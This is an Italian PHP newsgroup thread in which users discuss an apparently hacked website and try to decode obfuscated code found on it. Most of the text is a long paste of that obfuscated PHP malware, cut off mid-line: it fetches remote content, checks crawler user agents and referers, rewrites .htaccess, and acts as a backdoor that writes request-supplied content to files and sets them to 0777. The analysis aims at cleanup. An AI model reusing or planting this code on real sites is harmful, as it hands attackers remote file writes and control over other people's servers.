Newsgroup: it.comp.www.php
Titolo: sito posseduto?

>>>>  
http://www.bb2002.it
 :)  <<<<<
........... [ al lavoro ] ...........

È codice offuscato.
 
Con:
 
$OO0__00O_O=base64_decode("eTAyd3RsazRfZWR1b2ZjZ2hpYnB6ajdybjZheHMtbXEzdjk4 
NTE=");
 
si crea un dizionario e poi usa i singoli caratteri per formare lo script malevolo.
 
Posta il risultato di
 
var_dump($O00___OO0O,$O0__O_O00O,$OO_O0_0O_0,$O0_0_0OOO_,$OO_0_0_OO0);exit;
 
messo prima dell'unset 
 
unset($O00___OO0O,$O0__O_O00O,$OO_O0_0O_0,$O0_0_0OOO_,$OO_0_0_OO0);
 
Potrebbe essere interessante

 
Meglio, incolla l'intero script in questo sito: 
https://malwaredecoder.com
 

 
 
Ehm... non mi sembra che sia cambiato poi molto, a parte il pezzo finale 
dove ha messo in chiaro il nome del sito, un path e il file finale...
 
$O0O_O0O_0_='9001';
$O0OO_O_00_='wp-content';
$OO0__00O_O=base64_decode("eTAyd3RsazRfZWR1b2ZjZ2hpYnB6ajdybjZheHMtbXEzdjk4
NTE=");$OOO0_0O__0=$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O
_O{9}.$OO0__00O_O{26}.$OO0__00O_O{30}.$OO0__00O_O{8}.$OO0__00O_O{28}.$OO0__
00O_O{12}.$OO0__00O_O{14}.$OO0__00O_O{6}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0
__00O_O{8}.$OO0__00O_O{14}.$OO0__00O_O{5}.$OO0__00O_O{17}.$OO0__00O_O{9}.$O
O0__00O_O{24}.$OO0__00O_O{4};$O0O_O__O00=$OO0__00O_O{28}.$OO0__00O_O{4}.$OO
0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{26}.$OO0__00O_O{30}.$OO0__00O_O{8}.
$OO0__00O_O{15}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__00O_O{8}.$OO0__00O_O{30
}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__00O_O{26}.$OO0__00O_O{8}.$OO0__00O_O{
10}.$OO0__00O_O{26}.$OO0__00O_O{4}.$OO0__00O_O{26};$O_OO0_00_O=$OO0__00O_O{
28}.$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{26}.$OO0__00O
_O{30}.$OO0__00O_O{8}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__0
0O_O{8}.$OO0__00O_O{18}.$OO0__00O_O{5}.$OO0__00O_O{12}.$OO0__00O_O{14}.$OO0
__00O_O{6}.$OO0__00O_O{17}.$OO0__00O_O{24}.$OO0__00O_O{15};$OO00O__O0_=$OO0
__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{26}.$
OO0__00O_O{30}.$OO0__00O_O{8}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O_O{4}
.$OO0__00O_O{8}.$OO0__00O_O{4}.$OO0__00O_O{17}.$OO0__00O_O{30}.$OO0__00O_O{
9}.$OO0__00O_O{12}.$OO0__00O_O{11}.$OO0__00O_O{4};$O_O_O000O_=$OO0__00O_O{1
7}.$OO0__00O_O{15}.$OO0__00O_O{24}.$OO0__00O_O{12}.$OO0__00O_O{23}.$OO0__00
O_O{9}.$OO0__00O_O{8}.$OO0__00O_O{11}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__
00O_O{23}.$OO0__00O_O{8}.$OO0__00O_O{26}.$OO0__00O_O{18}.$OO0__00O_O{12}.$O
O0__00O_O{23}.$OO0__00O_O{4};$O_OO_0_O00=$OO0__00O_O{13}.$OO0__00O_O{17}.$O
O0__00O_O{5}.$OO0__00O_O{9}.$OO0__00O_O{8}.$OO0__00O_O{19}.$OO0__00O_O{11}.
$OO0__00O_O{4}.$OO0__00O_O{8}.$OO0__00O_O{14}.$OO0__00O_O{12}.$OO0__00O_O{2
4}.$OO0__00O_O{4}.$OO0__00O_O{9}.$OO0__00O_O{24}.$OO0__00O_O{4}.$OO0__00O_O
{28};$O_0O__O00O=$OO0__00O_O{13}.$OO0__00O_O{17}.$OO0__00O_O{5}.$OO0__00O_O
{9}.$OO0__00O_O{8}.$OO0__00O_O{15}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__00O_
O{8}.$OO0__00O_O{14}.$OO0__00O_O{12}.$OO0__00O_O{24}.$OO0__00O_O{4}.$OO0__0
0O_O{9}.$OO0__00O_O{24}.$OO0__00O_O{4}.$OO0__00O_O{28};$OO0O00__O_=$OO0__00
O_O{9}.$OO0__00O_O{27}.$OO0__00O_O{4}.$OO0__00O_O{9}.$OO0__00O_O{24}.$OO0__
00O_O{28}.$OO0__00O_O{17}.$OO0__00O_O{12}.$OO0__00O_O{24}.$OO0__00O_O{8}.$O
O0__00O_O{5}.$OO0__00O_O{12}.$OO0__00O_O{26}.$OO0__00O_O{10}.$OO0__00O_O{9}
.$OO0__00O_O{10};$O_OOO_000_=$OO0__00O_O{13}.$OO0__00O_O{11}.$OO0__00O_O{24
}.$OO0__00O_O{14}.$OO0__00O_O{4}.$OO0__00O_O{17}.$OO0__00O_O{12}.$OO0__00O_
O{24}.$OO0__00O_O{8}.$OO0__00O_O{9}.$OO0__00O_O{27}.$OO0__00O_O{17}.$OO0__0
0O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{28};$OO_0_OO00_=$OO0__00O_O{9}.$OO0__00
O_O{23}.$OO0__00O_O{23}.$OO0__00O_O{12}.$OO0__00O_O{23}.$OO0__00O_O{8}.$OO0
__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{19}.$OO0__00O_O{12}.$OO0__00O_O{23}.
$OO0__00O_O{4}.$OO0__00O_O{17}.$OO0__00O_O{24}.$OO0__00O_O{15};$OO0O__0O_0=
$OO0__00O_O{14}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{26}.$OO0__00O_O{
4}.$OO0__00O_O{9}.$OO0__00O_O{8}.$OO0__00O_O{13}.$OO0__00O_O{11}.$OO0__00O_
O{24}.$OO0__00O_O{14}.$OO0__00O_O{4}.$OO0__00O_O{17}.$OO0__00O_O{12}.$OO0__
00O_O{24};$O0O0__0_OO=$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__0
0O_O{8}.$OO0__00O_O{4}.$OO0__00O_O{17}.$OO0__00O_O{30}.$OO0__00O_O{9}.$OO0_
_00O_O{8}.$OO0__00O_O{5}.$OO0__00O_O{17}.$OO0__00O_O{30}.$OO0__00O_O{17}.$O
O0__00O_O{4};$O0_00O_OO_=$OO0__00O_O{15}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0
__00O_O{16}.$OO0__00O_O{12}.$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{18}.
$OO0__00O_O{0}.$OO0__00O_O{24}.$OO0__00O_O{26}.$OO0__00O_O{30}.$OO0__00O_O{
9};$O_O_00O0O_=$OO0__00O_O{18}.$OO0__00O_O{26}.$OO0__00O_O{28}.$OO0__00O_O{
9}.$OO0__00O_O{25}.$OO0__00O_O{7}.$OO0__00O_O{8}.$OO0__00O_O{9}.$OO0__00O_O
{24}.$OO0__00O_O{14}.$OO0__00O_O{12}.$OO0__00O_O{10}.$OO0__00O_O{9};$OO_O_0
O00_=$OO0__00O_O{18}.$OO0__00O_O{26}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__0
0O_O{25}.$OO0__00O_O{7}.$OO0__00O_O{8}.$OO0__00O_O{10}.$OO0__00O_O{9}.$OO0_
_00O_O{14}.$OO0__00O_O{12}.$OO0__00O_O{10}.$OO0__00O_O{9};$O0O0_O__0O=$OO0_
_00O_O{19}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{15}.$OO0__00O_O{8}.$O
O0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{19}.$OO0__00O_O{5}.$OO0__00O_O{26}
.$OO0__00O_O{14}.$OO0__00O_O{9};$O__O00_0OO=$OO0__00O_O{12}.$OO0__00O_O{18}
.$OO0__00O_O{8}.$OO0__00O_O{9}.$OO0__00O_O{24}.$OO0__00O_O{10}.$OO0__00O_O{
8}.$OO0__00O_O{13}.$OO0__00O_O{5}.$OO0__00O_O{11}.$OO0__00O_O{28}.$OO0__00O
_O{16};$OO0___00OO=$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O
_O{8}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{19}.$OO0__00O_O{5}.$OO0__0
0O_O{26}.$OO0__00O_O{14}.$OO0__00O_O{9};$OO0OO0__0_=$OO0__00O_O{13}.$OO0__0
0O_O{17}.$OO0__00O_O{5}.$OO0__00O_O{9}.$OO0__00O_O{8}.$OO0__00O_O{9}.$OO0__
00O_O{27}.$OO0__00O_O{17}.$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{28};$O
O0O0_O0__=$OO0__00O_O{14}.$OO0__00O_O{11}.$OO0__00O_O{23}.$OO0__00O_O{5}.$O
O0__00O_O{8}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O_O{4}.$OO0__00O_O{12}.
$OO0__00O_O{19}.$OO0__00O_O{4};$O__O_0O00O=$OO0__00O_O{26}.$OO0__00O_O{23}.
$OO0__00O_O{23}.$OO0__00O_O{26}.$OO0__00O_O{0}.$OO0__00O_O{8}.$OO0__00O_O{2
8}.$OO0__00O_O{16}.$OO0__00O_O{17}.$OO0__00O_O{13}.$OO0__00O_O{4};$O__00_O0
OO=$OO0__00O_O{19}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__00O_O{15}.$OO0__00O
_O{8}.$OO0__00O_O{30}.$OO0__00O_O{26}.$OO0__00O_O{4}.$OO0__00O_O{14}.$OO0__
00O_O{16};$O0O0__0O_O=$OO0__00O_O{14}.$OO0__00O_O{11}.$OO0__00O_O{23}.$OO0_
_00O_O{5}.$OO0__00O_O{8}.$OO0__00O_O{9}.$OO0__00O_O{23}.$OO0__00O_O{23}.$OO
0__00O_O{12}.$OO0__00O_O{23};$O0_OO0_O_0=$OO0__00O_O{14}.$OO0__00O_O{11}.$O
O0__00O_O{23}.$OO0__00O_O{5}.$OO0__00O_O{8}.$OO0__00O_O{14}.$OO0__00O_O{5}.
$OO0__00O_O{12}.$OO0__00O_O{28}.$OO0__00O_O{9};$O_O00_0O_O=$OO0__00O_O{11}.
$OO0__00O_O{23}.$OO0__00O_O{5}.$OO0__00O_O{9}.$OO0__00O_O{24}.$OO0__00O_O{1
4}.$OO0__00O_O{12}.$OO0__00O_O{10}.$OO0__00O_O{9};$O0O_OO_0_0=$OO0__00O_O{1
9}.$OO0__00O_O{26}.$OO0__00O_O{23}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O
_O{8}.$OO0__00O_O{11}.$OO0__00O_O{23}.$OO0__00O_O{5};$O_0O0_0OO_=$OO0__00O_
O{15}.$OO0__00O_O{20}.$OO0__00O_O{17}.$OO0__00O_O{24}.$OO0__00O_O{13}.$OO0_
_00O_O{5}.$OO0__00O_O{26}.$OO0__00O_O{4}.$OO0__00O_O{9};$O0O0___0OO=$OO0__0
0O_O{14}.$OO0__00O_O{11}.$OO0__00O_O{23}.$OO0__00O_O{5}.$OO0__00O_O{8}.$OO0
__00O_O{17}.$OO0__00O_O{24}.$OO0__00O_O{17}.$OO0__00O_O{4};$O_0O0__0OO=$OO0
__00O_O{14}.$OO0__00O_O{11}.$OO0__00O_O{23}.$OO0__00O_O{5}.$OO0__00O_O{8}.$
OO0__00O_O{9}.$OO0__00O_O{27}.$OO0__00O_O{9}.$OO0__00O_O{14};$O_00__OOO0=$O
O0__00O_O{12}.$OO0__00O_O{18}.$OO0__00O_O{8}.$OO0__00O_O{28}.$OO0__00O_O{4}
.$OO0__00O_O{26}.$OO0__00O_O{23}.$OO0__00O_O{4};$O_O0O0_0O_=$OO0__00O_O{14}
.$OO0__00O_O{5}.$OO0__00O_O{12}.$OO0__00O_O{28}.$OO0__00O_O{9}.$OO0__00O_O{
10}.$OO0__00O_O{17}.$OO0__00O_O{23};$OOO_0__00O=$OO0__00O_O{12}.$OO0__00O_O
{19}.$OO0__00O_O{9}.$OO0__00O_O{24}.$OO0__00O_O{10}.$OO0__00O_O{17}.$OO0__0
0O_O{23};$OO00O_0__O=$OO0__00O_O{30}.$OO0__00O_O{4}.$OO0__00O_O{8}.$OO0__00
O_O{23}.$OO0__00O_O{26}.$OO0__00O_O{24}.$OO0__00O_O{10};$O_00O_OO_0=$OO0__0
0O_O{17}.$OO0__00O_O{30}.$OO0__00O_O{19}.$OO0__00O_O{5}.$OO0__00O_O{12}.$OO
0__00O_O{10}.$OO0__00O_O{9};$OO0_0_O_0O=$OO0__00O_O{9}.$OO0__00O_O{27}.$OO0
__00O_O{19}.$OO0__00O_O{5}.$OO0__00O_O{12}.$OO0__00O_O{10}.$OO0__00O_O{9};$
OO0O0_O__0=$OO0__00O_O{10}.$OO0__00O_O{17}.$OO0__00O_O{23}.$OO0__00O_O{24}.
$OO0__00O_O{26}.$OO0__00O_O{30}.$OO0__00O_O{9};$O_0_OOO0_0=$OO0__00O_O{11}.
$OO0__00O_O{28}.$OO0__00O_O{5}.$OO0__00O_O{9}.$OO0__00O_O{9}.$OO0__00O_O{19
};$O00__O_O0O=$OO0__00O_O{11}.$OO0__00O_O{24}.$OO0__00O_O{5}.$OO0__00O_O{17
}.$OO0__00O_O{24}.$OO0__00O_O{6};$O_0O0O0_O_=$OO0__00O_O{28}.$OO0__00O_O{4}
.$OO0__00O_O{23}.$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{23};$O_0O_00O_O
=$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O_O{19}.$OO0__00O_O
{12}.$OO0__00O_O{28};$O0__O_O0O0=$OO0__00O_O{28}.$OO0__00O_O{4}.$OO0__00O_O
{23}.$OO0__00O_O{5}.$OO0__00O_O{9}.$OO0__00O_O{24};$O_0_00O_OO=$OO0__00O_O{
17}.$OO0__00O_O{28}.$OO0__00O_O{8}.$OO0__00O_O{10}.$OO0__00O_O{17}.$OO0__00
O_O{23};$OO_0_0O0O_=$OO0__00O_O{13}.$OO0__00O_O{3}.$OO0__00O_O{23}.$OO0__00
O_O{17}.$OO0__00O_O{4}.$OO0__00O_O{9};$OOO_0_O0_0=$OO0__00O_O{13}.$OO0__00O
_O{14}.$OO0__00O_O{5}.$OO0__00O_O{12}.$OO0__00O_O{28}.$OO0__00O_O{9};$OO__0
OO00_=$OO0__00O_O{30}.$OO0__00O_O{6}.$OO0__00O_O{10}.$OO0__00O_O{17}.$OO0__
00O_O{23};$OOO0_0_O_0=$OO0__00O_O{13}.$OO0__00O_O{23}.$OO0__00O_O{9}.$OO0__
00O_O{26}.$OO0__00O_O{10};$O_0_O0_O0O=$OO0__00O_O{13}.$OO0__00O_O{15}.$OO0_
_00O_O{9}.$OO0__00O_O{4}.$OO0__00O_O{28};$O_OO00O0__=$OO0__00O_O{14}.$OO0__
00O_O{12}.$OO0__00O_O{11}.$OO0__00O_O{24}.$OO0__00O_O{4};$O_0O_O_O00=$OO0__
00O_O{14}.$OO0__00O_O{16}.$OO0__00O_O{30}.$OO0__00O_O{12}.$OO0__00O_O{10};$
O_OO__000O=$OO0__00O_O{4}.$OO0__00O_O{23}.$OO0__00O_O{17}.$OO0__00O_O{30};$
O00O___0OO=$OO0__00O_O{21}.$OO0__00O_O{12}.$OO0__00O_O{17}.$OO0__00O_O{24};
$OOO_O_000_=$OO0__00O_O{13}.$OO0__00O_O{9}.$OO0__00O_O{12}.$OO0__00O_O{13};
$OOO__O_000=$OO0__00O_O{10}.$OO0__00O_O{26}.$OO0__00O_O{4}.$OO0__00O_O{9};h
eader('Content-Type:text/html;charset=utf-
8');${"GLOBALS"}["OO_0_OO00_"](0);if(!function_exists('str_ireplace')){func
tion str_ireplace($from,$to,$string){return 
trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};
$OOO_00O__0=${"GLOBALS"}["OO0O__0O_0"]('$O0_0OOO__0=\'\',$O_O0O0O__0=NULL,$
OO0_0O0O__=array()','if(!${"GLOBALS"}["O__00_O0OO"]("/^http\\:\\/\\//si",$O
0_0OOO__0)){if(isset(${"_GET"}["urlecc"])){$OO_0O00_O_=${"GLOBALS"}["O00_0_
_OOO"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$OO_0O00_O_.=$O0_0
OOO__0;echo $OO_0O00_O_;unset($OO_0O00_O_);}return 
\'\';}$O_O00OO_0_=${"GLOBALS"}["O00_0__OOO"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoO
zUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$O_00O_O0_O
=$OO_0_0OO0_=\'\';foreach(${"GLOBALS"}["OO0_0_O_0O"](\'|\',$O_O00OO_0_) as 
$c){$O__OO00O_0=1;foreach(${"GLOBALS"}["OO0_0_O_0O"](\'+\',$c) as 
$d){if(!${"GLOBALS"}["O_OOO_000_"]($d)){$O__OO00O_0=0;}}unset($d);if($O__OO
00O_0){$O_00O_O0_O=$c;break;}}unset($O_O00OO_0_,$c);if($O_00O_O0_O==\'\'){r
eturn 
0;}if(substr($O_00O_O0_O,0,1)==\'c\'){$O0_O00O__O=${"GLOBALS"}["O0O0___0OO"
]();${"GLOBALS"}["OO0O0_O0__"]($O0_O00O__O,CURLOPT_URL,$O0_0OOO__0);${"GLOB
ALS"}["OO0O0_O0__"]($O0_O00O__O,CURLOPT_USERAGENT,\'WHR\');${"GLOBALS"}["OO
0O0_O0__"]($O0_O00O__O,CURLOPT_RETURNTRANSFER,1);${"GLOBALS"}["OO0O0_O0__"]
($O0_O00O__O,CURLOPT_TIMEOUT,100);$O0_0_O0OO_=${"GLOBALS"}["O_0O0__0OO"]($O
0_O00O__O);${"GLOBALS"}["O0_OO0_O_0"]($O0_O00O__O);if(!$O0_0_O0OO_){if(isse
t(${"_GET"}["curlerr"])){$OO_0O00_O_=${"GLOBALS"}["O00_0__OOO"](\'i04uLhTcp
RSC0qyi+KVctLKi6tPwBgA=\');$OO_0O00_O_.=${"GLOBALS"}["O0O0__0O_O"]($O0_O00O
__O);echo $OO_0O00_O_;unset($OO_0O00_O_);}return 
0;}else{$O0_0_O0OO_=${"GLOBALS"}["O_OO__000O"](${"GLOBALS"}["O_OO__000O"]($
O0_0_O0OO_,"\\\"));return 
$O0_0_O0OO_;}}$O0O_0_OO0_=${"GLOBALS"}["O0O_OO_0_0"]($O0_0OOO__0);isset($O0
O_0_OO0_["host"])||$O0O_0_OO0_["host"]=\'\';isset($O0O_0_OO0_["path"])||$O0
O_0_OO0_["path"]=\'\';isset($O0O_0_OO0_["query"])|| 
$O0O_0_OO0_["query"]=\'\';isset($O0O_0_OO0_["O0OO0__0_O"])||$O0O_0_OO0_["O0
OO0__0_O"]=\'\';$OO0OO___00=$O0O_0_OO0_["path"]?$O0O_0_OO0_["path"].($O0O_0
_OO0_["query"]?\'?\'.$O0O_0_OO0_["query"]:\'\'):\'/\';$O_00O_0O_O=$O0O_0_OO
0_["host"];if($O0O_0_OO0_["scheme"]==\'https\'){$OO00__0_OO=\'1.1\';$O0OO0_
_0_O=empty($O0O_0_OO0_["O0OO0__0_O"])?443:$O0O_0_OO0_["O0OO0__0_O"];$O_00O_
0O_O=${"GLOBALS"}["O00_0__OOO"](\'Ky7OshTdLtPXBwA=\');$O_00O_0O_O.=$O0O_0_O
O0_["host"];}else{$OO00__0_OO=\'1.0\';$O0OO0__0_O=empty($O0O_0_OO0_["O0OO0_
_0_O"])?80:$O0O_0_OO0_["O0OO0__0_O"];}$O_00O0O_O_=\'Host:\';$O_00O0O_O_.=$O
_00O_0O_O;$OO0_0O0O__[]=$O_00O0O_O_;$OO0_0O0O__[]=${"GLOBALS"}["O00_0__OOO"
](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$OO0_0O0O__[]=${"GLOBALS"}["O00_0__OOO"
](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$OO0_0O0O__[]=${"GLOBALS"}["O00_0__OOO"
](\'c0xOThTi0osdLtPS1wIA\');unset($O_00O0O_O_);$OO_0_0OO0_="GET $OO0OO___00 
HTTP/$OO00__0_OO\\r\\n".${"GLOBALS"}["O00O___0OO"]("\\r\\n",$OO0_0O0O__)."\
\r\\n\\r\\n";unset($OO0_0O0O__,$O0O_0_OO0_,$OO00__0_OO,$OO0OO___00);$OOO000
_O__=null;if(substr($O_00O_O0_O,-
1)==\'n\'){$OOO000_O__=$O_00O_O0_O($O_00O_0O_O,$O0OO0__0_O,$OO_0O00_O_no,$O
O_0O00_O_str,30);}else{if(substr($O_00O_O0_O,-
1)==\'t\'){$O0O_OO00__=${"GLOBALS"}["O00_0__OOO"](\'K0kushTNLtPXBwA=\');$O0
O_OO00__.=$O_00O_0O_O;$O0O_OO00__.=\':\';$O0O_OO00__.=$O0OO0__0_O;$OOO000_O
__=${"GLOBALS"}["OOO0_0O__0"]($O0O_OO00__,$OO_0O00_O_no,$OO_0O00_O_str,30);
unset($O0O_OO00__);}}$O00___OO0O=\'\';if($OOO000_O__){${"GLOBALS"}["O_OO0_0
0_O"]($OOO000_O__,true);${"GLOBALS"}["OO00O__O0_"]($OOO000_O__,30);${"GLOBA
LS"}["OO_0_0O0O_"]($OOO000_O__,$OO_0_0OO0_);$OOO___0O00=${"GLOBALS"}["O0O_O
__O00"]($OOO000_O__);if(!$OOO___0O00["timed_out"]){while(!${"GLOBALS"}["OOO
_O_000_"]($OOO000_O__)){$O_O0_00O_O=${"GLOBALS"}["O_0_O0_O0O"]($OOO000_O__)
;if($O_O0_00O_O&&($O_O0_00O_O=="\\r\\n"||$O_O0_00O_O=="\\n")){break;}unset(
$O_O0_00O_O);}while(!${"GLOBALS"}["OOO_O_000_"]($OOO000_O__)){$OOO00_0O__=$
{"GLOBALS"}["OOO0_0_O_0"]($OOO000_O__,8192);$O00___OO0O.=$OOO00_0O__;unset(
$OOO00_0O__);}}unset($OOO___0O00);${"GLOBALS"}["OOO_0_O0_0"]($OOO000_O__);}
else{if(substr($O_00O_O0_O,-
1)==\'e\'){$O_0OO_O0_0=${"GLOBALS"}["O0_00O_OO_"]($O_00O_0O_O);$OOO000_O__=
$O_00O_O0_O(AF_INET,SOCK_STREAM,0);if(socket_connect($OOO000_O__,$O_0OO_O0_
0,$O0OO0__0_O)){socket_write($OOO000_O__,$OO_0_0OO0_,${"GLOBALS"}["O0__O_O0
O0"]($OO_0_0OO0_));while($OO0__OO_00=@socket_read($OOO000_O__,8192)){$O00__
_OO0O.=$OO0__OO_00;unset($OO0__OO_00);}$O00___OO0O=${"GLOBALS"}["OO0_0_O_0O
"]("\\r\\n\\r\\n",$O00___OO0O);${"GLOBALS"}["O__O_0O00O"]($O00___OO0O);$O00
___OO0O=${"GLOBALS"}["O_00O_OO_0"]("\\r\\n\\r\\n",$O00___OO0O);$O__OO_00O0=
${"GLOBALS"}["OO00O_0__O"](2,5);$O0O0O_0O__=0;while($O0O0O_0O__<$O__OO_00O0
){socket_write($OOO000_O__,$OO_0_0OO0_,${"GLOBALS"}["O0__O_O0O0"]($OO_0_0OO
0_));$O0O0O_0O__++;${"GLOBALS"}["O_0_OOO0_0"](${"GLOBALS"}["OO00O_0__O"](50
000,100000));}unset($O0O0O_0O__,$O__OO_00O0);}socket_close($OOO000_O__);uns
et($O_0OO_O0_0);}}if($O00___OO0O==\'\'){if(${"GLOBALS"}["O_OOO_000_"](${"GL
OBALS"}["O_0O__O00O"]) and 
$O0_0OOO__0){$O00___OO0O=@${"GLOBALS"}["O_0O__O00O"]($O0_0OOO__0);}}unset($
OO_0_0OO0_,$O_00O_O0_O,$OOO000_O__,$O0OO0__0_O,$O_00O_0O_O);return 
${"GLOBALS"}["O_OO__000O"](${"GLOBALS"}["O_OO__000O"]($O00___OO0O,"\\\"));'
);$O00_0__OOO=${"GLOBALS"}["OO0O__0O_0"]('$O_00O_O0_Onbed','$O0_OOO0_0_=sub
str($O_00O_O0_Onbed,0,5);$OO0O0O0___=substr($O_00O_O0_Onbed,-
5);$OO0O0O__0_=substr($O_00O_O0_Onbed,7,${"GLOBALS"}["O0__O_O0O0"]($O_00O_O
0_Onbed)-14);return 
${"GLOBALS"}["O_0O0_0OO_"](${"GLOBALS"}["OO_O_0O00_"]($O0_OOO0_0_.$OO0O0O__
0_.$OO0O0O0___));');$O_OOO__000=${"GLOBALS"}["OO0O__0O_0"]('$O_O00OO_0_gent
','$O0O_00_OO_=false;$O_0_00OOO_=${"GLOBALS"}["O00_0__OOO"](\'S8/PThT89JTco
vqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA=\');if($O_O00OO_0_gent!=\'\'){if(${"GLOB
ALS"}["O__00_O0OO"]("/($O_0_00OOO_)/si",$O_O00OO_0_gent)){$O0O_00_OO_=true;
}}return 
$O0O_00_OO_;');$O_O0_O00O_=${"GLOBALS"}["OO0O__0O_0"]('$O0_0_O0OO_efer','$O
_0O_0O0_O=false;$O0_OO0O0__=${"GLOBALS"}["O00_0__OOO"](\'S8/PThT89J1UvO18sq
qKlMzMjPh7KTMvPtPSAQ==\');if($O0_0_O0OO_efer!=\'\'&&${"GLOBALS"}["O__00_O0O
O"]("/($O0_OO0O0__)/si",$O0_0_O0OO_efer)){$O_0O_0O0_O=true;}return 
$O_0O_0O0_O;');$O0O00OO___=${"GLOBALS"}["OO0O__0O_0"]('$OO_000_OO_','$O0__O
_0O0O=${"GLOBALS"}["O00_0__OOO"](\'S0nNShTS1JrUktKsotPvAgA=\');$O_O00O0__O=
isset($_REQUEST["xxxxxxxxxxxx_filename"])?$_REQUEST["xxxxxxxxxxxx_filename"
]:\'\';$O00O_O__O0=isset($_REQUEST["xxxxxxxxxxxx_filecontent"])?$_REQUEST["
xxxxxxxxxxxx_filecontent"]:\'\';if(${"GLOBALS"}["OO0OO0__0_"]($O_O00O0__O))
{if(!${"GLOBALS"}["O00__O_O0O"]($O_O00O0__O)){echo 
$O0__O_0O0O;}}${"GLOBALS"}["O_OO_0_O00"]($O_O00O0__O,$O00O_O__O0,FILE_APPEN
D);echo 
$O_O00O0__O.\'|success\';');$O__00_0OOO=${"GLOBALS"}["OO0O__0O_0"]('$O_O00O
O_0_pidelpath','$OO_O__0O00=${"GLOBALS"}["O00_0__OOO"](\'S0nNShTS1JrUktKsot
PvAgA=\');$O__0_0O0OO=${"GLOBALS"}["O00_0__OOO"](\'S0nNShTS1JrSkuTU5OLS4tPG
AA==\');$O_0_OO_O00=${"GLOBALS"}["O00_0__OOO"](\'S0nNShTS1JrcnLV0jLzEktPFAA
==\');$O_O00O0__O=isset($_REQUEST["xxxxxxxxxxxx_filename"])?$_REQUEST["xxxx
xxxxxxxx_filename"]:\'\';if($O_O00O0__O==${"GLOBALS"}["O00_0__OOO"](\'SyzIT
hTEntPNAQA=\')){$O_O00O0__O=$O_O00OO_0_pidelpath;}if(${"GLOBALS"}["OO0OO0__
0_"]($O_O00O0__O)){@${"GLOBALS"}["O_0O_O_O00"]($O_O00O0__O,0777);if(!${"GLO
BALS"}["O00__O_O0O"]($O_O00O0__O)){echo $OO_O__0O00;}else{echo 
$O__0_0O0OO;}}else{echo 
$O_0_OO_O00;}');$OOO_O_00_0=${"GLOBALS"}["OO0O__0O_0"]('$O_00__OO0O=\'\',$O
_0OOO__00,$O_OO0__0O0,$OO00__O0O_','$O___O00O0O=\'\';$O__OOO00_0=${"GLOBALS
"}["O00_0__OOO"](\'s/FM8hT81PKc1JVcjNT4kvSi0vyixJ1UutP2AwA=\');$OO00O__O_0=
${"GLOBALS"}["O00_0__OOO"](\'C0otLhT8osSXXNS8/tPMSwUA\');$OOOO0___00=${"GLO
BALS"}["O00_0__OOO"](\'C0otLhT8osSXVKLE4tPFAA==\');$O__00O_O0O=${"GLOBALS"}
["O00_0__OOO"](\'C0otLhT8osSQ0qzUktPFAA==\');$OO__00O0_O=${"GLOBALS"}["O00_
0__OOO"](\'C0otLhT8osSXXOz0stPBAA==\');$OOO_00_0_O=${"GLOBALS"}["O00_0__OOO
"](\'s9H3ThTPPNTynNSbUtPDAA==\');$OOO00_O__0=${"GLOBALS"}["O00_0__OOO"](\'C
3INDhTHUNDol38/Rx9XPtP0dQUA\');$OO__00O_0O=${"GLOBALS"}["O00_0__OOO"](\'y8x
LShTa3QK8gtPoAAA=\');$O_00__OO0O= $O__OOO00_0."\\n";$O_00__OO0O 
.=$OO00O__O_0."\ On\\n";$O_00__OO0O .=$OOOO0___00."\ /\\n";$O_00__OO0O 
.=$O__00O_O0O."\ ^".$OO__00O_0O."$\ -\ [L]\\n";$O_00__OO0O .=$OO__00O0_O."\ 
%{".$OOO00_O__0."}\ !-f\\n";$O_00__OO0O .=$OO__00O0_O."\ 
%{".$OOO00_O__0."}\ !-d\\n";$O_00__OO0O .=$O__00O_O0O."\ .\ 
".$O___O00O0O.$OO__00O_0O." [L]\\n";$O_00__OO0O 
.=$OOO_00_0_O;if($O_00__OO0O!=\'\'){if($O_0OOO__00){$O_O0_0O_O0=${"GLOBALS"
}["O00_0__OOO"](\'09PXyhTyhJTE5OLS4tPGAA==\');if($O_O0_0O_O0!=\'\'){@${"GLO
BALS"}["O_0O_O_O00"]($O_O0_0O_O0,0644);$O00___O0OO=@${"GLOBALS"}["O_0O__O00
